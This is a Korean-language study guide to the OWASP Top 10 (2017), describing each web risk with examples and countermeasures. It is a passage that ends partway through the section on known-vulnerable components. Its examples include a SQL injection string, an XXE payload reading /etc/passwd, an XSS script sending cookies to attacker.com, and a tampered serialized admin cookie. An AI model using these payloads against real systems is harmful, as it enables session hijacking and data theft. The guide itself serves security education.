OWASP Top 10 - 2017
해당 글은 2017년에 발표된 문서를 기준으로 작성되었습니다. 참고하여 읽어주시길 바랍니다.
OWASP란?
Open Web Application Security Project(OWASP)는 소프트웨어 보안 향상을 위해 여러가지 일을 하는 오픈소스 프로젝트이다. OWASP에서는 세계적으로 많고 다양한 구성원들이 속해있고, 여러 회사 혹은 개발자들의 웹 보안 기술을 지원한다. 주로 웹의 보안 취약점, 악성파일 및 스크립트 등을 연구하며, 2004년 이래로 3~4년에 한 번씩 10대 웹 어플리케이션 취약점(OWASP TOP 10)을 발표했다.
OWASP Top 10은 웹 어플리케이션에서 발생할 수 있는 심각한 보안 위험들을 몇 가지 평가 기준에 맞춰 선별한다. 발표 내용에서는 공격가능성, 취약점 확산정도, 취약점 탐지 정도, 기술적 영향을 구분해서 각각의 위험도를 평가했다. 시간이 지날 때마다 쏟아지는 신기술과 그에 따라 발생하는 수많은 보안 위협 대비책이 될 수 있도록 방향성을 제시한다.
어플리케이션 보안 위험
공격자들은 어플리케이션을 통해 다양한 경로를 활용하여 공격한다. 공격의 목적은 단순히 피해를 입히기 위해서일 수도 있고, 주요 정보를 탈취하기 위해 확실한 목적으로 공격할 수도 있다.
이번 문서에서는 위의 예시 모델 외에도 다양한 경로의 보안 공격을 분석한 결과와 대비책의 방향성을 제시해주는 10가지 보안 위험을 소개한다.
A1. 인젝션(Injection)
코드 인젝션은 공격자가 공격 코드를 삽입하고 의도한 실행흐름을 변경하는 방식의 공격이다. 환경변수, 파라미터 등 모든 데이터 소스는 인젝션 공격요인이 될 수 있다. 보통 인젝션은 악의적인 데이터를 인터프리터에 보낼 때 발생한다. 이는 코드 검사 단계에서는 발견하기 쉽지만, 테스트 단계에서 발견하기 어렵기 때문에 취약점 스캐너, 퍼저같은 도구를 활용한다.
취약점 검토
먼저 어플리케이션의 취약점을 확인해보자. 어플리케이션이 아래에 항목에 해당되는 경우 공격에 취약하다.
- 사용자가 제공하는 데이터가 유효하지 않거나, 필터링/가공되지 않은 경우
- 상황에 따른 필터링 없이 동적 쿼리나 매개 변수화되지 않은 호출을 인터프리터에서 직접 사용하는 경우
- 악의적인 데이터가 ORM 검색 매개 변수 내에서 사용되어 민감한 정보를 추출하는 경우
- 악의적인 데이터가 직접적으로 동적 쿼리 안에 포함된 구조적인 데이터, 악의적인 데이터를 포함한 명령어, 일반 명령어, SQL 저장 프로시저에 사용되거나 연결되는 경우
예제
#예제1 쿼리문
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
#예제2 HQL
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='"
+ request.getParameter("id") + "'";
위의 두 가지 예시에서 공격자는 전송할 id 값을 ‘or ‘1’=1 로 수정한다.
이런 방법을 통해, 두 쿼리의 의미가 변경되어 accounts 테이블 내의 모든 데이터가 반환된다. 더 위험한 공격으로는 저장된 데이터를 수정하거나 파괴할 수도 있다.
보안대책
이와 같은 공격을 예방하기 위해서는 데이터를 지속적으로 명령어와 쿼리로부터 분리해야 한다.
기본적으로 인터프리터 사용을 피하거나 매개변수화된 인터페이스를 제공하는 안전한 API를 사용하는 것이다. 혹은 ORMs 툴을 사용하도록 통합할 수도 있다.
주의: 매개변수화된 경우에도 PL/SQL이나 T-SQL과 데이터/쿼리가 연결되거나 악의적인 데이터가 EXECUTE IMMEDIATE 또는 exec()와 함께 실행된다면 stored procedure는 SQL 인젝션을 사용할 수 있다.
서버측의 화이트리스트 입력을 사용한다. 하지만 text area 혹은 API들처럼 특수 문자를 사용하는 여러 어플리케이션에 있어서 완벽한 방법은 아니다.
잔류 동적 쿼리들을 위해 특정 필터링 구문을 사용해 인터프리터의 특수문자를 필터링 처리한다.
주의: 테이블, 컬럼 이름 등과 같은 SQL구조는 필터링 처리를 할 수가 없으므로 사용자가 제공한 구조이름은 안전하지 않다.
LIMIT 혹은 다른 SQL 컨트롤 쿼리를 사용해 SQL 인젝션을 통한 큰 피해를 예방한다.
A2. 취약한 인증(Broken Authentication)
인증 및 세션 관리와 관련된 어플리케이션 기능이 잘못 구현되어 암호, 키, 토큰 등이 위험에 노출될 수 있다. 이를 공격자가 악용할 경우, 구현 상의 결함을 악용해 일시적 혹은 영구적으로 다른 사용자의 권한을 획득할 수 있다.
취약점 검토
인증과 관련된 공격으로부터 보호하기 위해선 사용자의 신원, 인증과 세션을 관리하는 것이 중요하다.
- 공격자가 유효한 사용자 이름과 비밀번호를 가진 상태에서 계정정보 삽입과 같은 자동화 공격을 허용한다.
- 무차별 공격 또는 자동화 공격을 허용한다.
- “password1” 또는 “admin/admin”과 같은 기본 암호, 취약한 암호, 잘 알려진 암호를 허용한다.
- 안전하지 않게 만들어진 “지식기반답변”과 같은 취약하거나 효과없는 자격증명복구, 비밀번호복구를 허용한다.
- 평문 혹은 암호화되거나 취약한 해쉬 비밀번호를 사용한다.
- 다중 인증이 없거나 비효율적이다.
- 세션 ID가 URL에 노출된다.
- 세션 ID를 제대로 무효화시키지 않는다. 로그아웃이나 비활성 기간 중에 사용자 세션 및 인증 토큰이 제대로 무효화되지 않는다.
예제
몇 가지 경우를 살펴보자.
#1 알려진 암호 목록을 사용한 계정 정보 삽입
어플리케이션이 자동화된 위협 또는 계정 정보 삽입 방어를 구현하지 않은 경우, 어플리케이션을 암호 오라클로 사용해 계정 정보가 유효한지 확인할 수 있다.
#2 암호를 유일한 인증요소로 사용하는 경우
대부분의 인증 공격은 암호를 유일한 인증요소로 계속해서 사용할 때 발생한다. 모범 사례로 간주된 비밀번호 주기와 복잡성 요구사항은 사용자가 취약한 비밀번호를 등록하고 재사용할 수 있도록 권장한다. 다중인증을 사용하여 이를 예방한다.
#3 어플리케이션 세션의 적절한 만료시간이 정해지지 않는 경우
사용자가 공용 컴퓨터로 어플리케이션에 접근하고, 로그아웃하지 않는다면 한 시간 이후에 공격자가 같은 브라우저를 사용해 인증정보를 활용할 수 있다.
보안대책
- 다중인증을 구현해 자동화된 계정 정보 삽입, 브루트 포스, 탈취당한 계정 정보의 재사용 등 다양한 방법을 예방할 수 있다.
- 특히 admin 계정의 기본 계정 정보를 사용해 제공하거나 배포하지 말아야 한다.
- 비밀번호를 생성하거나 변경할 때, top 10000 worts passwords 목록을 검토하고 목록 이외로 설정하도록 하고, 약한 비밀번호 검사를 구현한다.
- NIST 800-63 B’s guidelines in section 5.1.1 for Memorized Secrets에
따라 암호 길이, 복잡성 및 순환 정책 또는 다른 최신 정책, 근거 기반 암호 정책을 조정한다. - 계정 열거 공격의 대비방법으로 모든 결과에 동일한 메시지를 사용하여 등록, 계정 정보 복구, API 경로를 강화한다.
- 로그인 실패의 제한을 두거나, 시간 제한을 구현한다. 모든 실패 로그를 남기고 계정 정보 삽입, 브루트포스, 다른 공격들이 탐지되면 관리자에게 알람이 오도록 설정한다.
- 로그인 이후 예측 불허한 무작위 세션 ID를 생성하는 서버 측의 안전한 내장 세션 관리자를 사용한다. 세션 ID는 URL에 없어야하고, 안전하게 보관되어야 하며 로그아웃, 유휴 및 절대시간 초과 이후 무효화되어야 한다.
A3. 민감한 데이터 노출(Sensitive Data Exposure)
여러 웹 어플리케이션과 API는 민감한 정보들을 제대로 보호하지 못 한다. 공격자가 신용카드 정보를 얻거나, 신분 도용 등 여러 범죄에 사용하기 위해 보안이 취약한 데이터를 훔치거나 수정할 수 있다. 데이터를 저장하거나 전송할 때 암호화같은 추가적인 보안방법이 적용되지 않으면 위와 같은 공격에 노출될 수 있다.
취약점 검토
데이터 보호 요구사항을 확인하여 패스워드, 신용카드 번호 등 특별한 보호가 필요하고 개인보호법, 금융데이터 보호 규정에 해당된다면 특별히 보호해야 한다.
- 평문으로 데이터를 전송한다면, 외부 인터넷 트래픽은 특히 위험하다. 로드 밸런서, 웹서버, 백엔드 시스템 간의 모든 내부 트래픽도 검증한다.
- 백업을 포함해 저장할 때, 평문으로 처리하는 민감한 데이터가 존재한다.
- 오래되거나 취약한 암호 알고리즘을 이전 혹은 현재 소스코드에 적용한다.
- 기본 암호 키 사용 혹은 약한 암호키를 생성 및 재사용한다.
- 적절한 키관리 및 변경이 이루어진다.
- 브라우저같은 클라이언트에서 보안 디렉티브나 헤더같은 암호화를 적용한다.
- 클라이언트에서 서버인증이 유효한지 확인한다.
예제
#1 어플리케이션은 자동화된 데이터베이스 암호화를 사용해 데이터베이스의 신용카드번호를 암호화한다. 그러나 이 데이터는 검색될 때 자동으로 복호화디기 때문에 SQL 삽입 결함으로 일반 텍스트의 신용카드번호가 검색될 수 있다.
#2 패스워드를 저장할 때 솔트를 하용하지 않거나 간단한 해시를 사용하는 데이터베이스. 파일 업로드 취약점을 통해 공격자는 패스워드 데이터베이스를 가져올 수 있다. 정렬되지 않은 해시들은 미리 계산된 해시들을 가진 레인보우 테이블에 노출될 수 있다. 간단하거나 빠른 해시 함수로 만들어진 해시는 정렬되었더라도 GPU를 사용해 크랙될 수 있다.
보안대책
- 어플리케이션에서 사용하는 데이터를 처리, 저장, 전송으로 분류한다. 개인정보 보호법, 법률, 업무에 따라 어떤 데이터가 민감한지 파악한다.
- 분류에 따라 통제한다.
- 불필요하고 민감한 데이터는 저장하지 않는다. 가능한 빨리 그런 데이터를 폐기하거나 PCI DSS 규정을 준수하고, 불필요한 내용을 줄인다. 데이터를 보관하지 않으면 탈취당할 일도 없다.
- 모든 민감한 데이터들을 암호화하는지 확인한다.
- 최신의 좋은 표준 알고리즘, 프로토콜, 암호키를 사용하는지 확인하고, 적합한 방법으로 키관리를 한다.
- Perfect Forward Secrecy(PFS) 암호를 사용하는 TLS, 서버의 암호 우선순위 지정 및 보안 매개변수와 같은 프로토콜로 전송 중인 모든 데이터를 암호화한다. HTTP Strict Transport Security(HSTS)같은 지시문을 사용해 암호화를 시행한다.
- 민감한 데이터를 포함하는 응답 캐시를 비활성화한다.
- Argon2, scrypt bcrypt, PBKDF2와 같은 워크팩터를 가진 적응형 정렬 해쉬 함수를 사용해 암호를 저장한다.
- 개별적으로 설정들의 유효성을 검증한다.
A4. XML 외부 엔티티(XXE)
**XML(Extensible Markup Language)**은 W3C에서 개발된, 특수 목적을 갖는 마크업 언어를 만드는 사용하는데 사용하는 다목적 마크업 언어다. 하지만 오래되고 설정이 잘못된 XML 프로세서들, 즉, 취약한 XML parser들은 외부 엔터티를 참조하는 XML 입력을 처리할 때 발생한다. 외부 엔터티는 파일 URL 핸들러, 내부 파일 공유, 내부 포트 검색, 원격 코드 실행 및 서비스 거부 등의 공격으로 내부파일을 공개할 수 있다.
XML 엔터티는 몇몇 타입의 저장단위를 모은 단위로, 시스템 identifier를 통해 로컬 혹은 원격지의 컨텐츠의 접근이 가능한 엔터티를 external entity라고 한다.
취약점 검토
만약 어플리케이션이 다음과 같이 XML 기반 웹서비스나 다운스트림을 사용할 경우 공격에 취약할 수 있다.
- 어플리케이션이 직접 XML를 입력 받거나 특히 신뢰할 수 없는
곳의 XML를 업로드하거나 XML 문서에 신뢰할 수 없는
데이터를 입력할 경우. 이를 XML 프로세서가 처리한다. - 어플리케이션에 있는 XML 프로세서나 웹 서비스 기반의
SOAP에 Document Type Definitions(DTD)이 활성화되어 있을
경우. DTD 처리를 비활성화하는 정확한 방법은 처리기마다
다르기 때문에 OWASP Cheat Sheet ‘XXE Prevention’와 같은
문서들을 참조하기를 권장한다. - 어플리케이션이 페더레이션 보안이나 Single Sign On(SSO)의
목적으로 확인 처리를 위해 SAML을 사용할 경우, SAML은 assertio을 확인하기 위해 XML을 사용하며 취약할 수 있다. - 어플리케이션이 1.2이전의 SOAP을 사용하고 있고, XML
개체들이 SOAP 프레임워크에 넘겨질 경우 XXE 공격에 민감할
수 있다. - XXE 공격에 취약하다는 것은 어플리케이션이 Billion Laughs
공격을 포함하는 서비스 공격에 취약하다는 의미다.
예제
임베디드 장비 공격을 포함해 수많은 XXE 이슈들이 발견된다. XXE는 의존성이 큰 것들을 포함하는 예상치 못한 곳에 발생한다. 가장 쉬운 방법은 악의적인 XML 파일을 업로드하는 것이다.
#1 공격자가 서버에서 데이터를 가져오려 한다.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
#2 공격자가 엔터티라인을 변경해 서버의 사설망을 찾으려 한다.
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
#3 공격자가 잠재적으로 끝나지 않는 파일을 포함해 서비스 거부 공격을 시도한다.
**<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>**
보안대책
완벽하게 XEE을 확인하고 완화시키는데 개발자 교육이 필수적이다. 그 외에도 XXE를 막기 위해서는 다음과 같은 대책들이 필요하다.
- 가능할 때마다, JSON과 같은 덜 복잡한 데이터 형식을 사용하거나 민감한 데이터를 지양한다.
- 어플리케이션이나 운영체제에서 사용중인 모든 XML 프로세서와 라이브러리를 패치, 업그레이드하고, 의존성 검사기를 사용한다. 또한 SOAP을 SOAP 1.2나 그 이상으로 업그그레이드한다.
- OWASP Cheat Sheet ‘XXE Prevention’에 따라 애플리케이션에 있는 모든 XML 파서의 XML 외부 개체와 DTD 처리를 비활성화한다.
- 서버에서 허용한 목록(화이트리스트)을 이용한 입력값 검증, 필터링, 검사를 구현해서 XML 문서, 헤더, 노드에 있는 악의적인 데이터를 막는다.
- XML이나 XSL 파일 업로드 기능이 XSD 검증기 같은 것을 사용해서 XML이 유효한 내용인지 확인하고 검증한다.
- 많은 것들이 통합된 크고 복잡한 어플리케이션에서는 수동으로 소스코드를 검토하는 방법이 최선일 수 있지만, SAST는 소스코드에 존재하는 XXE를 탐지하는데 도움이 될 수 있다.
위 방법들이 가능하지 않다면 XXE 공격을 확인하고 감시하고 막기 위해 가상 패치, API 보안 게이트웨이, 웹 어플리케이션 방화벽(WAF) 사용을 고려해보는 것을 권장한다.
A5. 취약한 접근 통제(Broken Access Control)
인증된 사용자가 할 수 있는 작업의 제한이 제대로 이뤄지지 않을 경우, 공격자가 이 결함을 악용해 권한이 없는 기능과 데이터에 접근할 수 있다.
취약점 검토
접근통제는 사용자들이 의도한 권한을 벗어나지 않도록 정책을 시행한다. 접근통제에 실패할 경우 일반적으로 인가되지 않은 정보 노출, 데이터 조작이나 파괴, 사용자에게 허용된 범위를 벗어난 사업적 기능 수행 등 큰 파장을 초래한다. 흔히 다음과 같은 취약점을 포함한다.
- URL, 내부 애플리케이션 상태나 HTML 페이지 조작, 맞춤형 API 공격
툴을 통해 접근통제 절차를 우회할 수 있다. - 기본 키가 다른 사용자의 레코드로 변경되도록 허용하고 다른 계정의 정보를 열람하거나 편집할 수 있도록 허용되어 있다.
- 로그인 하지 않고 활동하는 사용자나 일반 사용자로 로그인하여 관리자 처럼 활동하는 사용자가 있다.
- JSON 웹 토큰 (JWT)의 접근 통제 토큰 재전송이나 변경, 권한 상승
목적으로 쿠키나 감춰진 필드 조작, JWT 토큰 무효화 악용 등과 같은
메타 데이터 조작 행위가 허용된다. - CORS에 대한 설정이 잘못되어 있을 경우. 이에 해당하는 경우에는 인가되지 않은 API에 접근을 허용할 수 있다.
- 인증 절차를 거치지 않은 사용자가 인증이 필요한 페이지를 둘러보게 하거나, 권한이 필요한 페이지에 일반 사용자가 접근해 보도록 하거나 POST, PUT, DELETE 메소드에 대한 접근통제를 적용하지 않은 API를 사용해 보게끔 함으로써 접근통제 실패 여부를 확인할 수 있다.
예제
입력 값을 검증절차 없이 사용자 계정정보에 접근하는 용도의
SQL문에서 사용하는 애플리케이션이 있고 아래와 같은 형태의 소스코드로 구현되어 있다고 가정하자.
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
공격자가 브라우저에서 서버로 전송되는 시점에 아래와 같은 형태로 acct 파라미터를 원하는 값으로 수정할 수 있고, 만약 입력 값을 적절히 검증하지 않는다면 다른 사용자의 계정에 접근할 수 있다.
http://example.com/app/accountInfo?acct=notmyacct
보안대책
접근 통제는 공격자가 접근 제어 검사 또는 메타 데이터를 수정할 수 없는 신뢰할 수 있는 서버 측 코드 또는 서버가 없는 API에 적용될 경우에만 효과적이다.
- 불특정 다수에게 공개된 자원을 제외하곤 디폴트 정책은 차단으로
운영해야 한다. - CORS 사용 최소화를 포함한 접근통제 절차를 구현하고 애플리케이션 전체에 적용해야 한다.
- 접근통제 모델은 사용자에게 특정 레코드를 생성/열람/수정/삭제 할 수 있는 권한을 허용하기 보다는 레코드 소유자만 권한을 갖게 끔 강제해야한다.
- 유일한 애플리케이션 비즈니스의 제한 요구 사항들은 도메인 모델에 의해 적용되어야 한다.
- 웹 서버상의 디렉토리 리스팅 기능을 비활성화 하고 .git과 같은 메타데이터와 백업파일들이 웹 루트에 존재하지 않게끔 운영해야 한다.
- 접근 통제에 실패한 경우에는 기록되어야 하고, 반복적인 실패가 발생하는 것과 같이 적절한 시점에 관리자에게 경고 메시지가 전송되어야 한다.
- 자동화 공격 툴로 인한 피해를 최소화 하기 위해 API와 컨트롤러에 대한 접근 임계치를 제한해야 한다.
- JWT토큰은 로그아웃 이후 무효화 되어야 한다. 개발자 및 품질보증 담당자는 기능적인 접근통제 부분과 통합 테스트를 포함해야한다.
A6. 잘못된 보안 구성(Security Misconfiguration)
잘못된 보안 구성은 가장 흔한 이슈다. 취약한 기본 설정, 미완성이거나 임시 설정해둔 기능, 개방된 클라우드 저장소, 잘못 구성한 HTTP 헤더 등등 다양한 원인에 의해 발생한다. 모든 운영체제, 프레임워크, 라이브러리, 어플리케이션을 안전하게 설정해야할 뿐만 아니라 주기적인 패치와 업그레이드가 필요하다.
취약점 검토
- 어플리케이션 스택 전 영역에 적절한 보안 강화 절차가 누락된 상태이거나 클라우드 서비스 상에 권한이 부적절하게 설정되어 있다.
- 불필요한 기능이 활성화 되거나 설치되어 있다.
- 기본계정과 비밀번호가 활성화 되어 있거나 해당 정보들을 변경
없이 사용한다. - 에러 처리 과정에서 스택 추적 정보나 공격에 도움이 될만한 다른
정보들이 노출된다. - 업그레이드된 시스템 상에 최신 보안 기능들이 비활성화 되어 있거나 안전하게 설정되어 있지 않다.
- 어플리케이션 서버, Struts, Spring, ASP.NET 같은 프레임워크, 라이브러리, 데이터베이스 상에 보안 설정이 되어 있지 않다.
- 서버가 보안 헤더, 보안 강화 수단을 보내지 않거나 안전한 값을
설정하지 않고 있다. - 구 버전이나 취약한 버전의 소프트웨어를 사용하고 있다. 상호보완적이고 반복적인 어플리케이션 보안 설정 절차가 없다면 시스템은 높은 위험에 노출되어 있다.
예제
#1 알려진 취약점을 포함하고 있는 샘플 어플리케이션이 삭제되지 않은 채로 어플리케이션 서버가 운영 환경에서 사용 중이라면, 샘플 어플리케이션은 공격자가 서버를 공격하는데 악용될 수 있다.
샘플 어플리케이션 중에 관리 콘솔이 포함되어 있고 기본 계정 정보가 변경되지 않은 상태라면, 공격자는 기본 패스워드를 사용해 접속에 성공함으로써 권한을 얻을 수 있다.
#2 서버 내 디렉토리 리스팅이 비활성화되지 않았다면, 공격자는 디렉토리 목록이 노출됨을 발견하게 되고 자바 클래스 파일을 다운로드하여 디컴파일과 리버스엔지니어링을 통해 애플리케이션 상에 존재하는 심각한 접근 통제 취약점을 찾아낼 수 있다.
보안대책
- 위험을 적절하게 차단할 수 있도록 빠르고 쉽게 다른 환경으로 전환할 수 있는 반복적인 보안 강화 절차를 적용한다.
개발, 품질 관리, 운영 환경은 환경 별로 상이한 자격 증명 정보를
사용하고 동등한 보안 수준으로 설정되어야 하며, 새로운 보안
환경을 구축하는데 소모되는 리소스를 최소화 하기 위해 절차를
자동화 한다. - 불필요한 기능, 구성 요소, 문서, 샘플 애플리케이션 없이 최소한으로 플랫폼을 유지하고 사용하지 않는 기능과 프레임워크는 삭제하거나 설치하지 않는다.
- 패치 관리 절차의 일부분으로 모든 보안 정보, 업데이트, 패치를 대상으로 설정을 적절히 검토하고 갱신하는 절차가 필요하며, 특히 S3 버킷 권한과 같은 클라우드 스토리지 권한을 검토하는 절차가 중요하다.
- 세분화, 컨테이너화, 클라우드 보안 그룹과 같은 방법으로 구성 요소나 입주자들 간에 효율적이고 안전한 격리를 제공하는 세분화된 애플리케이션 아키텍처를 적용해야 한다.
- 보안 해더와 같은 보안 강화 수단을 사용자에게 전송해야 한다.
- 모든 영역의 보안 설정이 적절히 반영되어 있는지 검증할 수 있는
자동화된 절차를 수립한다.
A7. 크로스 사이트 스크립팅(XSS)
XSS 취약점은 어플리케이션은 올바르지 않은 유효성 검사와 필터링 처리없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나, HTML을 생성하는 브라우저 API, 혹은 JavaScript를 활용한 사용자 제공 데이터로 기존 웹페이즈를 업데이트할 때 발생한다. XSS는 공격자가 피해자의 브라우저에서 스크립트를 실행시켜 사용자 세션을 탈취할 수 있게 만들고, 웹 사이트를 변조하거나, 악성 사이트로 리다이렉션할 수 있도록 한다.
취약점 검토
일반적으로 사용자의 브라우저를 목표로 하는 세 가지 형태의 크로스
사이트 스크립팅(XSS)이 있다.
Reflected XSS HTML 출력의 일부로써 유효성이 확인되지 않고, 특수문자가 필터되지 않은 사용자 입력이 애플리케이션 혹은 API에 포함된다. 공격이 성공하면 공격자는 피해자의 브라우저에서 임의의 HTML과 자바스크립트를 실행할 수 있다. 전형적으로 사용자는 악의적인 워터링 홀 공격을 수행하는 웹 사이트, 광고 사이트 혹은 이와 유사한 공격자에 의해 제어되는 페이지를 가리키는 몇몇 악의적인 링크와 상호 작성을 해야 할 필요가 있다.
Stored XSS 응용 프로그램 또는 API에서 나중에 다른 사용자 또는 관리자가 볼 수 있는 가공되지 않은 사용자 입력값이 저장된다. Stored XSS는 종종 중대한 위협으로 간주된다.
DOM XSS 페이지에 공격자가 제어 가능한 데이터를 동적으로 포함할 수 있는 자바스크립트 프레임워크, 한 페이지 어플리케이션, 그리고 API는 DOM 기반 XSS에 취약하다. 이론상으로 어플리케이션은 안전하지 않은 자바스크립트 API로 공격자가 제어 가능한 데이터를 보내지 않는다. 전형적인 XSS 공격은 세션 도용, 계정 탈취, 다중 요소 인증 우회, 트로이 목마 악성코드 배포 로그인 패널과 같은 DOM 노드 대체 혹은 변조, 악성코드 다운로드, 키 로깅, 그리고 다른 클라이언트 측면의 공격과 같은 사용자 브라우저에 대한 공격을 포함한다.
예제
#1 이 어플리케이션은 유효성 검사 또는 필터링 처리없이 다음의 HTML 스니펫의 구성 내 신뢰할 수 없는 데이터를 사용한다.
(String) page += "<input name='creditcard' type='TEXT' value='"
+ request.getParameter("CC") + "'>";
공격자는 브라우저 내에서 다음과 같이 ‘CC’ 파라미터를 조작한다.
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있다. 공격자는 XSS를 사용하여 어플리케이션이 사용할 수 있는 자동화된 크로스 사이트 요청 변조(CSRF) 방어를 무력화할 수 있다.
보안대책
XSS를 방지하려면 신뢰할 수 없는 데이터를 사용 중인 브라우저
컨텐츠와 분리해야 한다.
- 최신 Ruby on Rails, React JS와 같이 XSS를 자동으로 필터링 처리하는 프레임워크를 사용한다. 각 프레임워크의 XSS 보호의 한계를 알아보고 다루지 않은 사용 사례들을 적절히 처리하기를 권장한다.
- HTML 출력 내의 컨텍스트 기반으로 신뢰할 수 없는 HTTP 요청 데이터를 필터링하며 리플렉티드 및 저장 XSS 취약점이 해결된다.
- 클라이언트 측에서 브라우저 문서를 수정할 때 상황에 맞는 인코딩을 적용하면 DOM XSS에 대해 대응할 수 있다. 이것으로 방어할 수 없는 경우, OWASP 치트 시트 ‘DOM 기반 XSS 방어’ 에서 기술된 바와 같이 브라우저 API에 유사한 문맥 감지 필터링 기술을 적용할 수 있다.
- 컨텐츠 보안 정책(CSP)의 활성화는 XSS에 대한 심층적인 방어 통제다. 로컬 파일 첨부를 통해 악성코드를 배치할 수 있는 다른 취약점이 없는 경우라면 효과적이다.
A8. 안전하지 않은 역직렬화(Insecure Deserialization)
안전하지 않은 역직렬화는 원격코드의 실행까지 이어진다. 역직렬화 취약점이 원격코드 실행까지 이어지지 않더라도 본 취약점을 통해 권한 상습, 코드 인젝션, 리플레이 공격이 가능하다.
취약점 검토
어플리케이션 및 API가 공격자의 악의적이거나 변조된 객체를 역직렬화하면 취약해질 수 있다. 이로 인해 크게 두가지 유형의 공격이 발생할 수 있다.
- 객체 및 데이터 구조 관련 공격이다. 공격자가 애플리케이션 로직을 수정하거나 애플리케이션에 사용 가능한 클래스가 있는 경우 임의의 원격 코드를 실행하여 역직렬화 중이나 이후에 동작을 변경할 수 있다.
- 접근 통제 관련 공격과 같이, 기존 데이터 구조가 사용되지만 내용이 변경되는 일반적인 데이터 변조 공격이다.
직렬화는 다음 용도의 어플리케이션에서 사용될 수 있다.
- RPC(Remote-Process Communication)/IPC(Inter-Process Communication)
- 유선 프로토콜, 웹 서비스, 메세지 브로커
- 캐싱/ 지속 연결
- 데이터베이스, 캐시 서버, 파일 시스템
- HTTP 쿠키, HTML 양식 파라미터, API 인증 토큰
예제
#1 React 어플리케이션은 일련의 Spring Boot 마이크로 서비스를 호출한다. 기능적 프로그래머이기 때문에 코드가 변경되지 않도록 노력했다. 이들이 제기한 해결책은 사용자 상태를 일련 번호로 변환하고 각 요청과 함께 앞뒤로 전달하는 것이다. 공격자는 “R00“ 자바 객체 서명을 확인하고 자바 직렬 킬러 도구를 사용하여 애플리케이션 서버에서 원격 코드 실행을 얻는다.
#2 PHP 포럼은 PHP 객체 직렬화를 사용하여 사용자의 사용자 ID, 역할, 암호, 해시 및 기타 상태를 포함하는 “super“ 쿠키를 저장한다.
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
공격자는 직렬화된 객체를 변경하여 관리자 권한을 부여한다.
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
보안대책
신뢰할 수 없는 출처로부터 직렬화된 객체를 허용하지 않거나 원시 데이터 유형만을 허용하는 직렬화 매체를 사용하는 것이 안전한 아키텍처의 유일한 패턴이다.
- 악성 객체 생성이나 데이터 변조를 방지하기 위해 직렬화된 객체에 대한 디지털 서명과 같은 무결성 검사를 구현한다.
- 객체 생성 전 코드가 일반적으로 정의할 수 있는 클래스 집합을 기대하므로 역직렬화하는 동안 엄격한 형식 제약 조건을 적용한다. 이 기법에 대한 우회가 입증되었으므로 여기에 의존하는 것은 바람직하지 않다.
- 가능하다면 낮은 권한 환경에서 역직렬화하는 코드를 분리하여 실행한다.
- 예상하지 않은 형식이 들어올 경우나 역직렬화가 예외를 생성할 경우 등 예외나 실패에 대한 로그를 남긴다.
- 역직렬화하는 컨테이너 또는 서버에서 들어오고 나가는 네트워크 연결을 제한하거나 모니터링한다.
- 역직렬화를 모니터링하여 사용자가 역직렬화를 지속적으로 할 경우에 경고한다.
A9. 알려진 취약점이 있는 구성요소 사용(Using Components with Known Vulnerabillities)
라이브러리, 프레임워크 및 다른 소프트웨어 모듈같은 컴포넌트들은 어플리케이션과 같은 권한으로 실행된다. 만약 취약한 컴포넌트가 악용되면, 중요 데이터 손실이 발생하거나 공격자에게 서버를 뺏길 수도 있다. 알려진 취약점이 있는 컴포넌트를 사용한 어플리케이션과 API는 어플리케이션은 여러 문제점이 발생할 수 있다.
취약점 검토
- 클라이언트와 서버 측면의 양쪽에서 사용하는 모든 구성 요소의 버전을 알지 못한다면, 취약할 가능성이 있다. 여기에는 직접 사용하는 구성 요소와 중첩된 종속성이 포함된다.
- 소프트웨어가 취약하거나, 지원되지 않거나, 오래된 버전인 경우, 취약할 가능성이 있다. 여기에는 운영체제, 웹/애플리케이션 서버, 데이터베이스 관리 시스템(DBMS), 애플리케이션, API와 모든 구성요소, 런타임 환경과 라이브러리 등이 포함된다.
• 정기적으로 취약점을 스캔하지 않거나, 사용 중인 컴포넌트와 관련된 보안 취약점 공지 서비스에 등록하지 않은 경우, 취약할 가능성이 있다. - 위험 기반으로 적절한 시기에 플랫폼, 프레임워크와 종속성을 수정하거나 업그레이드하지 않은 경우, 취약할 가능성이 있다. 이는 패치 적용이 변경 통제 하에서 매월 또는 분기별 작업하는 환경에서 일반적으로 발생한다. 이로 인해 조직은 며칠 또는 몇 달 동안 수정된 취약점에 불필요하게 노출될 수 있다.
- 소프트웨어 개발자가 업데이트된, 업그레이드된 혹은 패치된 라이브러리의 호환성을 테스트하지 않는다면 취약할 가능성이 있다.
- 구성요소의 구성 정보를 보호하지 않는다면, 취약할 가능성이 있다.
예제
#1 일반적으로 구성요소는 애플리케이션 자체와 동일한 권한으로 실행되므로 구성요소의 결함으로 인해 심각한 영향을 받을 수 있다. 이러한 결함은 코딩 오류같은 단순한 실수 혹은 백도어를 심는 등의 고의적 의도일 수 있다.
- CVE-2017-5638, 서버 상에서 임의 코드 실행을 가능케 했던 스트럿츠 2 원격코드 실행 취약점이 심각한 보안 사고로 인해 비난 받았다.
- 사물 인터넷(IoT)은 종종 패치하기 어렵거나 불가능하지만, 패치를 적용하는 것이 중요할 수 있다. 공격자가 패치되지 않았거나 잘못 구성된 시스템을 찾는데 도움이 되는 자동화된 도구들이 있다. 예를 들면, Shodan IoT 검색 엔진은 2014년 4월에 패치된 하트블리드 취약점에 여전히 취약한 디바이스들을 찾는데 도움을 준다.
보안대책
- 사용하지 않는 종속성, 불필요한 기능, 구성 요소, 파일과 문서 등을 제거한다.
